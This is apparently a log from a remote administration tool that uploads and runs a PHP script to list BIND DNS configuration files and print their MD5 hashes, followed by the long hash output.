MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 12:30:24: Establishing a connection
2026-04-24 12:30:24: 

PUT: /tmp/pkp347765

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 12:30:24: 

runuser -l bind -s /bin/bash -c '/tmp/pkp347765; rm /tmp/pkp347765'

2026-04-24 12:30:24: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 12:30:26: Establishing a connection
2026-04-24 12:30:26: 

PUT: /tmp/pkp814968

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 12:30:26: 

runuser -l bind -s /bin/bash -c '/tmp/pkp814968; rm /tmp/pkp814968'

2026-04-24 12:30:26: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
